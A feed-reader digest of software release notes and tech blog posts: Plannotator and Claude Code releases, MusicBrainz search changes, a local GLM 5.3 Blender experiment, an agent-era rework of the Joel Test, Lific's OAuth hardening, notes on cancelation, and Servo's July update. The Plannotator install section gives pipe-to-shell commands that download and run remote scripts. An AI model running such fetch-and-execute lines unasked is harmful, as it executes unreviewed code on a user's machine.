      On OpenCode 2 builds that don't have the new API yet, the commands fall back to asking the agent to run the plannotator CLI, which works everywhere today. The native path takes over automatically as OpenCode builds update. OpenCode 1 behavior is unchanged.

      #1434, #1435

      Remote OpenCode 2 sessions show their URL

      Remote sessions are only usable if you can see the session URL, and on OpenCode 2 there was no visible place for it to land. Both the new native commands and submit_plan now post the URL as a notice directly in the session transcript, without waking a model turn. This came out of the release QA sweep rather than a field report, which is where you want to find it.

      #1435

      Share links stop serving stale snapshots

      When a teammate sent you a share link and you annotated their plan, the export kept offering the original short link back, without your annotations. The link lifecycle now tracks exactly which content a short URL was minted for and clears it the moment the content changes, so you can never send back a link that silently drops your feedback. The remaining piece, minting a fresh short link for small plans, is tracked in #1427.

      Reported by @grncdr in #798.

      #1425, closing #798

      Agent terminal works on npm 12

      npm 12 blocks dependency install scripts by default, which silently skipped node-pty's native build on Linux and left the annotate-mode Agent tab reporting "Agent unavailable" from a runtime that looked installed but couldn't load. The managed runtime now approves exactly that one build script, verifies the native binary actually exists after install, retries the build once if it doesn't, and fails loudly with the repair command instead of failing later in the UI.

      Reported by @smartobc-stephen in #1409, with a diagnosis accurate down to the fix.

      #1411, closing #1409

      Additional Changes

      • Herdr Annotate : the README and plannotator.ai now introduce Herdr Annotate, terminal-side annotation built on Plannotator TUI, with a landing page at plannotator.ai/tui-annotate. Annotations from the terminal land in the same Plannotator data directory, so both tools compound.
      • Firefox forced colors : the plannotator.ai hero text no longer disappears for Firefox users running with "Override the colors specified by the page" or OS high contrast.

      Install / Update

      macOS / Linux:

      curl -fsSL https://plannotator.ai/install.sh | bash
      

      Windows:

      irm https://plannotator.ai/install.ps1 | iex
      

      Claude Code Plugin: Run /plugin in Claude Code, find plannotator , and click "Update now".

      Pi: Update @plannotator/pi-extension to 0.27.10 and restart Pi.

      OpenCode: Clear cache and restart:

      rm -rf ~/.bun/install/cache/@plannotator
      

      What's Changed

      • feat(review): mark files viewed as you scroll past them in #1430
      • feat: add bounded annotation undo and redo in #1426
      • feat(opencode): restore the slash commands on OpenCode 2 in #1434
      • fix(opencode): show session URLs in remote OpenCode 2 sessions in #1435
      • fix(share): invalidate stale short links in #1425
      • fix(agent-terminal): approve node-pty install scripts for npm 12 in #1411

      Community

      This release is community-shaped end to end. @jj- valentine requested undo/redo hotkeys for annotations in #828, and that request is now the bounded history system in both review surfaces. @grncdr filed the stale short-link report in #798 with a clean reproduction of the round-trip that dropped annotations. @smartobc- stephen reported the npm 12 agent- terminal failure in #1409 with a root- cause analysis so precise the fix followed it almost line for line. The auto- viewed feature and the OpenCode 2 command work both came from user reports and requests reaching us directly, and a Firefox user's report of vanishing hero text led to the forced-colors fix on the site.

      Thank you all. Plannotator gets better because you tell us where it falls short.

      Full Changelog : v0.27.9...v0.27.10

    5. 🔗 anthropics/claude-code v2.1.252 release

      What's changed

      • Fixed Bash commands failing with "task output swap refused (tasks dir moved or linked)" on some Macs
      • Fixed "always allow" not saving in a project that has no .claude/settings.local.json yet
      • Fixed Remote Control sessions hosted by Claude Desktop or VS Code stalling for minutes after a tool finished when the connection to claude.ai was degraded
      • Fixed background task notifications with very large failure output (for example git errors on a full disk) making the conversation exceed the API request size limit
    6. 🔗 benji.dog rss

      four different styles of 40% mechanical
keyboards

      Had a great time at this year's MN mechanical keyboard meetup and even got to see my friend David and his keyboards in real life!

    7. 🔗 MetaBrainz Search upgrades: Nov 30, 2026 rss

      MusicBrainz is announcing a set of upgrades for its search service on November 30, 2026. The main change will be upgrading Solr from version 9 to 10. Fixes and improvements will be released alongside this. Some of these changes may break some specific search requests. Finally, a new feature will be released making it possible to use the search service to search for (musical) genres. See below for more information.

      Breaking changes

      The following tickets may break search requests in some way.

      • SEARCH-444: Improper ‘relation-list’ in ‘area’ and ‘url’ JSON output. This will be a breaking change for accessing related entities in area and URL search results.
      • SEARCH-642: Drop ‘id’ fields for cdstub and tag. This will technically be a breaking change, but it was broken by design as the values for these search fields are not documented and have never been intended for public use anyway.
      • SEARCH-666: Use quality names rather than numeric IDs. This will be a breaking change for release searches that use quality search field.
      • SEARCH-752: Relationships have an extra ‘ target ’ property in JSON output. Fixing it by removing the redundant property target will be a breaking change if you are accessing it in search results. The “proper” way to do this is to use the property target-type and access the property id under the property named after this target type.
      • SEARCH-764: Upgrade to Solr 10. This will be a breaking change for mirror owners only, not for search requests. More specifically, it is advised to change the Solr configuration and to re-index the whole MusicBrainz database.

      Soft changes

      The following tickets will improve search with breaking any requests:

      • SEARCH-452: Index all URL relationships. So far, only URL relationships to Artist and Release were indexed. URL relationships to all other entity types will be indexed too.
      • SEARCH-646: Return exact match first for tag search. It should improve tag search results using indexed Solr search compared to direct Postgres search.
      • SEARCH-677: Include disambiguation of event’s place and work’s recording. Places related to searched events and recordings related to searched works will now be outputted with disambiguation comment, in the same way other related entities are outputted in search results.
      • SEARCH-680: Index genre annotations. It will add genre annotations to the results of annotation search which is already supported for all other annotation-able entity types.
      • SEARCH-681: Support indexed search of genres. It will add “Genre” as a target type for search, just like most other searchable entity types.
      • SEARCH-751: Missing ‘target-type’ property in ‘relationships’ of ‘event’ and ‘work’ JSON output. This will be fixed by adding the property where it is missing.
      • SEARCH-753: Missing ‘target-type’ property in ‘relationships’ of ‘area’ and ‘url’ JSON output. This will be fixed by adding the property where it is missing.

      Miscellaneous

      A MusicBrainz Server release is also expected to go with some of these changes.

      We’ll post upgrade instructions for standalone/mirror servers on the day of the release. If you have any questions, feel free to comment below or on the relevant above-linked tickets.

    8. 🔗 r/LocalLLaMA GLM 5.3 and GLM 5.3 Flash ran locally on RTX PRO 6000 WS and built a penthouse using BlenderMCP rss

      GLM 5.3 and GLM 5.3 Flash ran locally on RTX PRO 6000 WS and built a penthouse using BlenderMCP | I keep seeing demos of AI agents building scenes in Blender through BlenderMCP, so I tried it myself. I ran both models locally for this and picked the GLM 5.3 family(Q4 quant) because videos of it doing 3D work kept showing up in my twitter feed (out of curiosity, I ran the same prompt through the full GLM 5.3, also locally with a Q4 quant) these aren't small models, obviously, a 4-bit quantized Flash is around 190-200GB + headroom for context. full GLM 5.3 is around 450-470GB at 4-bit quantization (basically I went with the Q4 quants for both and the RTX PRO 6000 WS GPU, though I had to rent 4x rtx pro 6000ws for the flash model and 6x for the base one) writing the prompt wasn't as easy as I thought. my first attempts were vague and mostly produced 3D goo instead of an actual room. I eventually started specifying real dimensions: ceiling heights, stair rise, window mullion spacing and so on(the camera work was separately done by claude opus 5 so that I wouldn't have my token stats inflated by it)

      prompt

      model a luxury duplex penthouse in the open Blender session. footprint 20.0 x 13.0 m (260 sqm). main ceiling 2.9 m. a double-height volume 9.0 x 8.0 m rising to 6.2 m. mezzanine floor at 3.1 m with a 1.1 m balustrade. stair: 17 treads, rise 0.182, going 0.28. terrace 20.0 x 4.5 m at Z = -0.02 with a 1.15 m balustrade. curtain wall with mullions every 1.5 m, frame depth 0.06. doors 2.10 m. counters 0.90 m. dining table 0.74 m. sofa seat 0.42 m. materials, PBR ranges: glass IOR 1.45-1.52, transmission 1.0; concrete roughness 0.25-0.40; marble roughness 0.08-0.15; brushed metal metallic 1.0, roughness 0.25-0.35; fabric roughness 0.75-0.95. reference real penthouses for proportion. furnish it. do NOT add a camera. do not reset the session.
      

      at first it was putting up the curtain wall, stairs, mezzanine, the glass railing, all that, then at some point I noticed it had furnished the place too with some furniture: sofa, dining table and plates on it. the pendant lights were hanging from these 4 m cords, and for some reason it had modeled the individual spines on the books, which I never asked for the video only follows the camera through the living space, so the terrace and facade aren't visible(the clip is repurposed from another video I made with the same scene, I didn't render a new one because that takes quite some time)

      stats

      | metric | Flash | GLM 5.3
      ---|---|---
      objects | 811 | 847
      turns | 43 | 42
      tool errors | 9 | 8
      thinking before 1st object | 10s | 21m 55s
      time | 38m 52s | 40m 43s
      output tokens | 36K | 112K

      GLM 5.3 spent 22 minutes thinking(82k tokens), before placing any objects(as well as producing 36 more objects than GLM 5.3 Flash and consuming 3x times the output tokens), meanwhile GLM 5.3 Flash got to work almost immediately

      I measured both scenes afterwards by raycasting upward from the floor and checking the rooms against the brie. Flash got the double-height void right at 9 x 8 m. the full model built it at 9 x 4.5 m but reported it as 9 x 8 m

      This is obviously just an experiment, not a benchmark. Flash came surprisingly close on object count and total time while using less than one-third as many output tokens. it also got the main room dimensions right when the full model didn't

      if you want to try the same Blender setup, I used the community BlenderMCP project

      I'm a founder of atomic.chat, we have an app for running local models and our own quants(any feedback is appreciated, we're trying to make our products as good as possible for you guys)

      submitted by /u/Fun-Meaning-6474
      [link] [comments]

    9. 🔗 exe.dev Revisiting Joel's Test rss

      Back in 2000, Joel Spolsky wrote an influential blog post, The Joel Test: 12 Steps to Better Code, for quickly identifying whether a software team is high-functioning. These are the twelve questions he nailed to the Internet.

      1. Do you use source control?
      2. Can you make a build in one step?
      3. Do you make daily builds?
      4. Do you have a bug database?
      5. Do you fix bugs before writing new code?
      6. Do you have an up-to-date schedule?
      7. Do you have a spec?
      8. Do programmers have quiet working conditions?
      9. Do you use the best tools money can buy?
      10. Do you have testers?
      11. Do new candidates write code during their interview?
      12. Do you do hallway usability testing?

      Those questions are still relevant, but, with the advent of agents, there are more questions. I’m calling this the Shelley Test, after our coding agent, which is named for the Unix shell, Mary Shelley, and Percy Bysshe Shelley:

      1. Do you use agentic code review?
      2. Do you deploy continuously, supervised by LLM agents?
      3. Do you have end-to-end integration tests?
      4. Do you and your coding agents have easy access to observability tooling?
      5. Do you have access to the latest models from the best providers?
      6. Do you have a merge queue and does it complete in 3 minutes or less?
      7. Is it easy for your team to stand up new tools and agents, for development and to help with everything around development?
      8. Do your team members regularly discuss their tools, their workflows, and adjust when necessary?
      9. Is your product legible to coding agents as users?

      1. Do you use agentic code review?

      Peer-based code review is dead. The LLM is writing the code, and the engineer is responsible for it. Adding a rubber stamp, however delayed, from another human, is done for. (Even on the best teams, we all know that a small, targeted change might generate a long code review cycle and a bike-shedding session, whereas if you combine two weeks’ worth of changes and dump them on your neighbor, it’s LGTM.)

      Instead, ask your agent to use subagents with different models to do an adversarial code review to check that what’s in the commit is what’s on the tin, and it will do wonders. (Does your harness only support one family of models? Use a harness that doesn’t kneecap you.) See also “Review the Reviews” and Roborev.

      2. Do you deploy continuously, supervised by LLM agents?

      We are not dogmatic about whether this means once an hour, on every commit, or once a day, but inventory in your repo will face reality, and it is paramount that it does so soon. Shorter cycles are better. Continuous deployment requires integration tests that you can trust, and that’s a good thing. It also requires feature flag infrastructure; also a good thing.

      Athena, our bot that supervises continuous deployments, is now indispensable. It reads logs, checks metrics, and writes down lessons for the next deploy. Athena chats on Slack about it, and has the power to pull the plug on a deploy.

      If you’ve been holding back on continuous deployment because you’re not confident that your deployment platform has all the right metrics gates, abandon that project immediately, and write yourself an Athena agentic loop. It’s deeply embedded in our deployment control center software, but write to us if you want us to extract the heart of it. (And yeah, we give our bots names so they’re easy to refer to).

      3. Do you have end-to-end integration tests?

      When a bug inevitably sneaks through, you have found where your testing is insufficient. LLMs are great at tests. (See, for example, this commentary on the Go cryptography standard testing.) Having the integration test infrastructure in place allows you to feel confident that deploys won’t break core functionality.

      Incidentally, if you must have an external dependency, “digital twins” for that dreaded external API have never been easier to build.

      4. Do you and your coding agents have easy access to observability

      tooling?

      In the LLM age, a monitoring stack must be computer-queryable, preferably with SQL, preferably with business data available to JOIN with. (At exe.dev, we love Clickhouse.)

      Use a bot to do initial triage and maintenance of alerts. Our bot is called Sisyphus.

      Instead of using the observability tool (or its agent) to look at metrics and diagnose tricky customer bugs, point your regular coding agent to the observability tool. Combining code and logs is fire.

      A Slack message from the exe.bots app: Sisyphus triaging an error-logs alert
with evidence, an assessment, and a recommended next
step. Sisyphus triaging an alert in Slack.

      5. Do you have access to the latest models from the best providers?

      This is a repeat of Joel’s “Do you use the best tools money can buy?” Joel’s question is being tested as CFOs find out that an extravagant IntelliJ or Tableau subscription is the least of their worries now.

      6. Do you have a merge queue and does it complete in 3 minutes or less?

      Don’t use long-lived branches. Commit your changes to main, and keep main green. The way to do so is to run the tests before they are merged in. The faster your tests, the easier this is!

      Your merge queue will get backed up (or require cleverness) if it’s slow. Engineering with LLMs is starved for human attention: the long latencies destroy that attention.

      We’ve abandoned GitHub Actions since https://sketch.dev/blog/lightweight- merge-queue was written, but the basics are still functioning.

      Agents are incredible at speeding up your CI if given the opportunity. The last build at time of writing took 2m30s or so, used many, many lanes of parallelism on one big honkin’ machine, and had acceptable CPU utilization, though the 60s tail leaves much room for improvement!

      A CPU usage chart for the build machine, ramping to about 75% for most of
the build and then trailing off over the final 60
seconds. CPU utilization across one build A CI pipeline waterfall: dozens of build and
test lanes running in parallel, nearly all finishing in about a
minute. 54 lanes, mostly parallel. 2.5 minutes.

      7. Is it easy for your team to stand up new tools and agents, for

      development and to help with everything around development?

      The prior math on whether it’s worthwhile to build a tool is now wrong, because coding agents build very passable tools in one-shot. It must be easy to host and iterate on these tools.

      8. Do your team members regularly discuss their tools, their workflows,

      and adjust when necessary?

      We are in an age of exploration, and sharing what is working (and not working) with your peers is imperative. It’s always been a good idea, but now you’re missing out on the compounding effects if you don’t do it. We do this constantly: on Slack, on the telephone, and in our team meetings.

      9. Is your product legible to coding agents as users?

      Your users are judging your software based on whether Claude Code can operate it. Can it? Do you have an llms.txt as very obvious documentation? Does auth work? APIs are king again.

      Not to get all Clayton Christensen up in here, but a worse product operated by a mid-tier coding agent is destroying the better product unavailable to the coding agent.

    10. 🔗 HexRaysSA/plugin-repository commits sync repo: +1 plugin, +2 releases, -1 release rss
      sync repo: +1 plugin, +2 releases, -1 release
      
      ## New plugins
      - [BinDiff-NG](https://github.com/mahmoudimus/bindiff-ng) (8.1.1)
      
      ## New releases
      - [IDAssist](https://github.com/symgraph/idassist): 2.3.0
      
      ## Changes
      - [IDAssist](https://github.com/symgraph/idassist):
        - removed version(s): 1.2.0
      
    11. 🔗 r/LocalLLaMA deepseek-ai/DeepSeek-V4-Flash-Vision-Exp · Hugging Face rss

      deepseek-ai/DeepSeek-V4-Flash-Vision-Exp ¡ Hugging Face | submitted by /u/t4a8945
      [link] [comments]
      ---|---

    12. 🔗 r/LocalLLaMA Could this affect M5 Ultra price/availability? rss
    13. 🔗 VoidNullable/lific v2.8.0 release

      The web UI stops treating the server as something to ask again and again and starts treating it as something to stay in sync with: every change carries a sequence number, tabs replay what they missed, navigation renders from a live read model instead of refetching, and deletes became reversible on the server. Around that, the OAuth consent screen finally says who is asking for what, and @mjc contributed another hardening pass across imports, rendered content, restores, filesystem writes, and the toolchain itself.

      Live sync

      • Changes propagate live and survive disconnects. Every issue, page, and comment change is stamped with a per-project sequence number. A tab that loses its connection resumes from its cursor and replays what it missed; if it was gone longer than the replay window holds, it backfills just the missing deltas through the new /changes endpoint instead of re-downloading the project. A fresh client bootstraps once through /index and syncs by cursor from then on.
      • Navigating a warm project stops refetching it. The issue list, board, modules, and pages render from one in-memory read model kept current by the socket, so moving between views is instant instead of a skeleton flash and a round trip.
      • All your tabs share one WebSocket. One tab wins leader election through Web Locks and fans events out to the rest, so ten open tabs cost the server one connection instead of ten.
      • Deletes are reversible on the server. Deleting an issue, page, or comment now leaves a tombstone instead of removing the row. Maintainers can restore issues and pages through the REST API, and expired tombstones are purged after retention.trash_days (default 30 days). There is no trash UI yet; this release builds the shelf.
      • Updates can refuse to clobber. An update may carry expected_seq, and if someone else got there first the server answers 409 with the current state instead of silently overwriting. Clients that do not send it keep the old last-writer-wins behavior.

      OAuth consent

      Approving an OAuth client used to happen on a screen that could not tell you what you were approving. It said "An application wants to access your Lific issue tracker" no matter who was asking, and the device flow showed whatever name the requesting program had typed into its request. Both paths now resolve a registered client first and say who it is, and neither grants anything without an explicit yes. Most of this was contributed by @mjc in PR #41.

      • The authorization screen names what it is about. It shows the registered client's name, the exact address you will be redirected to, the capability being granted, how long the resulting token lives, and which account is about to grant it. A request whose client or redirect URI is not registered is refused before the page renders, so a crafted link cannot produce a plausible screen for a client that does not exist.
      • Approve and Deny are both explicit. A submission carrying neither is rejected instead of being read as consent. Denial redirects with access_denied and never creates an authorization code.
      • The consent form is bound to the request it displayed. Its CSRF token now covers every field on the page rather than just the browser session, so altering the client, redirect, scope, or PKCE challenge between the screen you read and the form you submit invalidates the submission.
      • Connecting a device takes two steps. Entering a code no longer approves anything: it looks the code up and shows a second page naming the registered client that is asking, the capability, the token lifetime, and the approving account. Only that second submission approves, and it requires a token bound to both the browser session and the device code. Denying still takes one step, because refusing access should never be the slower path.
      • Device grants record the client that asked for them. A device login used to attribute its token to one shared internal client. The grant now stores the registered client and validated capability at authorization time, and the issued token carries that identity, so a device credential is attributable like any other.
      • PKCE is checked against the full RFC 7636 syntax. Verifiers shorter than 43 characters, longer than 128, or containing anything outside the unreserved set are rejected, where only empty ones were before. Authorization requests must carry a well-formed S256 challenge before consent renders.
      • Redirect URIs containing a fragment are refused at registration. OAuth forbids them, and appending parameters to one would have placed the code or error after the fragment, where the client never sees it.
      • A signed-out visitor gets a way in. The authorization screen requires a session now, since it names the approving account, and an unauthenticated visit links to sign-in instead of dead-ending on a bare error.
      • Disconnecting a tool returns its client registration. Dynamic registrations are capped per instance, and a client could not be reclaimed while any grant still referenced it, including revoked ones. Revoked grants are now cleared, so a revoked token releases its slot instead of holding it forever. Tokens that are only expired are left alone, matching how Connected Tools reports them.

      Security and robustness

      Five more pull requests by @mjc, each closing off a way the server could be made to do unbounded or unsafe work.

      • GitHub imports are bounded (PR #40). Response bodies, issue and comment counts, retained memory, and concurrent import admission all have ceilings now, and hitting a deliberate ceiling returns 413 naming the limit instead of an opaque 500.
      • Anonymous OAuth state cannot grow without bound (PR #39). Client registrations and device codes have hard caps, size limits on their metadata, and expiry cleanup, so an unauthenticated visitor cannot fill the database.
      • Rendered content is treated as hostile (PR #38). Mermaid diagrams are size- and depth-bounded before rendering, label colors are sanitized before reaching CSS, and SVG attachments are served as downloads instead of rendering inline, since an inline SVG executes scripts.
      • Restore refuses tampered archives (PR #42). A restore now validates archive metadata, database schema integrity, and every attachment blob's hash, MIME type, and content before transactionally swapping it in. An archive that fails any check is refused rather than installed.
      • Local filesystem writes are hardened (PR #43). Config, service, database, and attachment writes reject symlink and path-traversal hazards, create files atomically with private permissions, and serialize storage operations across processes.
      • Database failures stop masquerading as defaults (PR #46). Reading settings, deriving a username, or checking a bot connection now propagates a database error instead of silently reporting "not found" or substituting a default, so a failing disk looks like a failing disk.

      Web UI

      • Back from a deep link goes up, not out. Opening an issue or page directly by URL now synthesizes its parent list in history, so the system Back button returns to the list instead of leaving the app.
      • The description editor matches the comment composer. Same border, focus ring, attached toolbar, and proportions, so the two markdown inputs read as one control.

      Fixes

      • The server no longer slowly eats memory on long uptimes. The backup task read the database through pooled connections whose 64 MB memory-map windows never close, pinning hundreds of megabytes of mappings forever; production sat at 944 MB resident against a 98 MB database after six days. Snapshots now run on a dedicated short-lived connection and retained heap is trimmed on the backup heartbeat. In an 8-cycle loop against the production snapshot, plateau RSS fell from 294 MB to 23 MB.
      • Attachment operations stopped racing the backup. Uploads, deletes, dumps, restores, and cleanup now share one cross-process lock, and an operation that would have to wait returns 503 with Retry-After: 2 instead of blocking or corrupting. Windows classifies its lock violations the same way.
      • Module statuses are validated. REST, MCP, and CLI all refuse a module status outside the documented six (backlog, planned, active, paused, done, cancelled) instead of storing whatever arrived.

      Development

      • The toolchain now enforces what reviews used to catch. CI and a pre-commit hook run cargo fmt --check and a repo-wide Clippy deny-list of selected pedantic and nursery lints (PRs #44 and #46 by @mjc). The whole-tree reformat is recorded in .git-blame-ignore-revs, so git blame still points at the commits that meant something.

      Upgrading

      • SVG attachments no longer render inline. They are served with a download disposition. If you relied on hotlinking an attached SVG into rendered markdown, it now downloads instead.
      • A module status outside the documented six is refused. Anything automated that wrote free-text module statuses will start getting validation errors.
      • Attachment routes can answer 503. During a backup, dump, or restore, attachment uploads and deletes may return 503 with Retry-After: 2. Retry after the delay instead of treating it as fatal.
      • The WebSocket protocol grew, compatibly. Events may carry seq, clients may resume with a cursor, and a sync_required message asks the client to backfill through /changes. Old clients can ignore all of it; deletes now being soft means a restore emits ordinary create and update events.
      • POST /oauth/device_authorization now requires a registered client_id. RFC 8628 has always required one for public clients; Lific used to accept free-text client_name instead and display it on the approval screen. Register at /oauth/register and send the returned client_id. scope remains optional and defaults to mcp, but an explicitly different scope is refused rather than quietly downgraded.
      • lific login from a CLI older than this release will not work against a server running it. Older CLIs send only client_name and get invalid_request back. Upgrade the CLI. The reverse direction still works: a current CLI registers a client when the server supports it and falls back to the old request shape when it does not, so upgrading the CLI first is safe.
      • lific login remembers the client it registered. It is stored in ~/.config/lific/clients.json, keyed by server URL, and reused on later logins so each login does not consume one of the instance's registration slots. The file holds no secrets and deleting it is harmless; the next login simply registers again.
      • Device logins left half-finished across the upgrade must be restarted. A device code issued before the upgrade carries no registered client, so exchanging it afterwards returns invalid_grant. Device codes expire after 15 minutes, so this resolves itself.
    14. 🔗 Cal Paterson Agent memory as a file format rss

      Memoryfields - a vastly simpler way to do agent memory

    15. 🔗 matklad Cancelation Terminology rss

      Cancelation Terminology

      Aug 31, 2026

      A short note explaining the difference between synchronous cancelation, asynchronous cancelation, and graceful shutdown. I am not too attached to these specific three terms , but I want to call your attention to the three things behind them, which are important not to confuse with each other.

      synchronous cancelation is an (often implicit) control flow structure. It unwinds the stack and looks like this:

      task.cancel();
      // The task will have finished by this point.
      

      Synchronous cancelation is a bit like Molière’s prose — we do it all the time, but not necessarily in full consciousness. The primary source of synchronous cancelation is error handling — every time an Exception is thrown or an error returned, the code promptly breaks out of all the loops, ifs, and blocks, invoking the necessary cleanup actions via RAII, finally, with/try with resources or defer.

      asynchronous cancelation is a communication protocol between two parties. One party requests cancelation (synchronously), but then it has to wait until the other party acknowledges it and winds down. It looks like this:

      task.request_cancelation();
      // The task could still be running here.
      task.join().await;
      // After the requisite wait, the task is finished.
      

      Like synchronous cancelation, this is a relatively low-level concern when implementing a concurrent program in a way that doesn’t crash or hang. I know two central example where an asynchronous cancelation is required.

      First is the CPU thread pool. Imagine you have offloaded encrypting a buffer to a separate thread as a part of handling user’s request. Some time later, you learn that the request must be canceled (perhaps the user had left). You can’t just abandon the encrypting thread. First, it would be smart not to waste CPU cycles for useless work, but, more importantly, the underlying buffer must remain tied up. If it were to be freed as a result of request cancelation, something else might re-use that memory, leading to data races.

      But you also can’t just cancel that thread synchronously! It’s in the middle of a hyper-optimized SIMD loop, and you really don’t want it to check the cancelation flag before reading every byte. What you’d want is to split the buffer into reasonably-sized chunks, and check the cancelation status after every chunk. But that means that the party that requested the cancelation must wait for at least one chunk’s worth of work!

      For the curious, there’s actually a bit more leeway with canceling CPU work non-cooperatively, see

      https://go.dev/src/runtime/preempt.go

      Another example here is io_uring. It has exactly the same shape: if you submit a write with a buffer to the kernel, that buffer must remain tied up until the write finishes (and you can cancel the write to make it finish faster). While io_uring is still at least a somewhat exotic technology (though, arguably, it’s the interfaces we have had before which are byzantine), the thread pool example demonstrates that the phenomenon of asynchronous cancelation itself is rather mundane.

      Asynchronous cancelation comes up all the time when writing concurrent software. Because it affects the overall shape of the code, it’s useful to identify it early. Conversely, it is useful to ask yourself whether you need asynchronous cancelation at all, and whether synchronous one can be made to work. This is especially important in Rust, which makes synchronous cancelation too easy, and doesn’t provide great mechanisms for asynchronous one.

      Finally, graceful shutdown is an application programming pattern for handling connections. It lives on a higher level of abstraction than the two cancelations. If you are implementing a web service, you can implement shutdown by stopping your accept loop (rejecting new connections), but continuing to serve all existing connections until their respective clients disconnect. If the load balancer is configured to route new connection requests to different instances of the service, this pattern allows you to do rolling upgrades without service disruptions.

      As a bonus point, a related idea is that of crash-only software. Cancelation is all good, but your entire program can get SIGKILLed arbitrarily by an OOM killer, and the entire computer might get rebooted on powerloss. Reliable software has to handle ungraceful shutdown without losing data. But, if you can survive powerloss, you might as well implement the Quit button by SIGKILLing yourself, simultaneously simplifying the implementation and increasing testing coverage for powerloss scenarios.


      To give some examples from TigerBeetle, Grid.cancel is an asynchronous cancelation. It takes a callback to notify the caller when the cancelation is done. This API is used during state sync. When a replica determines that that cluster is so far ahead that event based transfer doesn’t work, and that a state transfer is required to catch up, it must cancel all outstanding grid read operations. A read can be backed either by replica’s local disk, or by transparent fetch of the data from a neighboring replica. In the first case, we have to wait until the read is done. In the second case, we need to abandon the read — remote read getting stuck is probably the reason for us to state sync in the first place.

      StateMachine.reset is an example of a synchronous cancelation. This is the part of the same flow as Grid.cancel, and is an example of how you can simplify the code if you think clearly about asynchronous vs synchronous cancelation. Ultimately, StateMachine sits on top of the Grid, but there’s a bunch of intermediate layers (Forest, Tree, Compaction, Scan, etc). A naive approach would be to notice that Grid requires asynchronous cancelation and propagate asynchrony throughout the stack. What we do instead is asynchronously canceling just the Grid directly, and then synchronously reseting everything else.

      Another example of asynchronous cancelation is Client.shutdown. When an application using TigerBeetle “drops” the Client object, we need to free all OS resources. Our client also uses io_uring, so we must first wait for all outstanding syscalls to complete. In the comment, we call it “graceful shutdown”, but I think this is wrong, and this is the motivation for writing down this article. We don’t do graceful shutdown at TigerBeetle — it’s crash only all the way. Tail latency tolerance (asking several nodes for an answer and picking the fastest one) is a more general solution, as it handles not only crash faults, but also gray failures. In a distributed system, a very slow node looks exactly the same as a crashed one. A crash is just a degree of slowness.


      Take aways:

      • Synchronous cancelation is control flow operator
      • Asynchronous cancelation is a communication protocol
      • Graceful shutdown is an application-level design pattern
    16. 🔗 Servo Blog July in Servo: more platforms, faster canvas, web fonts in SVG, and more! rss

      Servo 0.5.0 contains all of the changes we landed in July, which came out to 488 commits , and we now publish binaries for Linux aarch64 (@mukilan, #46760)!

      DOM text selections are now visible (@mrobinson, @SimonSapin, #46698, #46864, #46742, #46889, #46126). Interactive selection is coming soon!

      For security fixes, see § Security.

      servoshell 0.5.0 showing several new features: ‘text-decoration-thickness’,
‘box-decoration-break’, web fonts in inline &lt;svg&gt;, and DOM selection
rendering

      We’ve shipped several new web platform features:

      Plus a bunch of new DOM APIs:

      This is another big update, so here’s an outline:

      You can help! If you’re working on a pull request that you think might be interesting for the next monthly update, even if you’re not 100% sure, tell us about it by following the steps below: You add the monthly update label to your pull request, or comment [@servo-highfive](https://github.com/servo-highfive) monthly update Highfive posts a comment asking you some questions You answer those questions in a comment containing [@servo-highfive](https://github.com/servo-highfive) monthly update answer Security __ Servo was potentially affected by vulnerabilities in quick- xml and crossbeam- epoch that have been fixed in Servo 0.5.0 (@atouchet, @Loirooriol, #46737, #46324). For more details, see RUSTSEC-2026-0194, RUSTSEC-2026-0195, and RUSTSEC-2026-0204. We’ve updated ANGLE from a version based on Firefox 115.x ESR (02755361e26d8) to a version based on Firefox 140.12.0 ESR (f8025617e815f), which likely includes many security fixes (@jschwe, @sagudev, #46455, mozangle#100). Real world compat The duck on the DuckDuckGo (duckduckgo.com) landing page now renders in v0.5.0, after we fixed a preload bug that affected SVG images (@jdm, #46668). v0.4.0 v0.5.0 duckduckgo.com Most of Gumroad (gumroad.com), except for the landing page, did not render at all in v0.4.0, but as of v0.5.0, pages like the Discover page or this product page render almost perfectly. v0.4.0 v0.5.0 gumroad.com v0.4.0 v0.5.0 gumroad.com We’re interested to hear how well your favourite websites run in Servo! Report successes in this Zulip thread, and failures in our GitHub issues. Work in progress

      The upgrade to Stylo 2026-07-01 brings several changes to built-in CSS functions (@Loirooriol, #46129):

      • ‘alpha()’ is now supported, under --pref layout­_css­_alpha­_color­_function­_enabled

      • ‘progress()’ is now supported, under --pref layout­_css­_progress­_function­_enabled

      • ‘ellipse()’ values ‘closest-corner’ and ‘farthest-corner’ are no longer stable due to spec uncertainty, but they are still experimental, under --pref layout­_css­_ellipse­_corners­_enabled

      • ‘attr()’ is more conformant, under --pref layout­_css­_attr­_enabled

      Web­GPU content can now enjoy better conformance and use GPU­External­Texture and import­External­Texture() on GPU­Device , under --pref dom­_webgpu­_enabled (@sagudev, #45873, #46178, #46286).

      servoshell 0.5.0 showing four tilted rectangles (in WebGPU), textured
with a picture of a dog (which is a frame from an external
video)

      Indexed­DB content can now use the name property on IDB­Index , under --pref dom­_indexeddb­_enabled (@skyz1, #45512).

      document.fonts now includes a Font­Face for each valid ‘@font- face’ , under --pref dom­_fontface­_enabled (@simonwuelker, #46509, #46537).

      All of the features above are enabled in servoshell’s experimental mode.

      We’ve started implementing WebVTT for native subtitles and captions , enabled by default (no --pref). While they don’t render just yet, we can now fetch each , parse the WebVTT, and expose cues via the track property on HTML­Track­Element (@TimvdLippe, #46289, #46383).

      July was a big month for accessibility in Servo, under --pref accessibility­_enabled. The focus for this month has been on performance , with the accessibility tree now supporting incremental updates (@alice, @delan, #45578, #45971, #46589, #46691, #46385), requiring fewer HashMap lookups and tree walks (@alice, @delan, #45798, #46740, #46348), and allowing for faster DOM mutations (@alice, #46348, #46530).

      We’ve also started working on the File and Directory Entries API, to allow users to select and upload entire directories via < input type=file> and drag-and- drop. To that end, we now have webkit­Get­As­Entry() on Data­Transfer­Item , plus minimal support for File­System­Entry , File­System­Directory­Entry , and File­System­File­Entry , under --pref dom­_entries­_api­_enabled (@yezhizhen, #46456, #46879, #46832).

      Embedding API We’ve improved the docs for the servo crate, and for Web­View­Delegate (@mukilan, #46193). Breaking change: Servo­Builder::webxr­_registry() has been removed. Instead use the new Servo::register­_webxr­_registry, which is a lazy design that has allowed servoshell to halve its startup time (@Narfinger, #46494). For users and developers

      servoshell for Android now runs on Android 10+ (91% market share), not just Android 13+ (68% market share), improving adaptability and reducing waste (@jschwe, #46142, #46308). We’ve also fixed a problem with building for Android on macOS (@jschwe, #46128).

      servoshell for Windows is now better behaved when run in a console window, making the command prompt wait until servoshell exits (@yezhizhen, #43010).

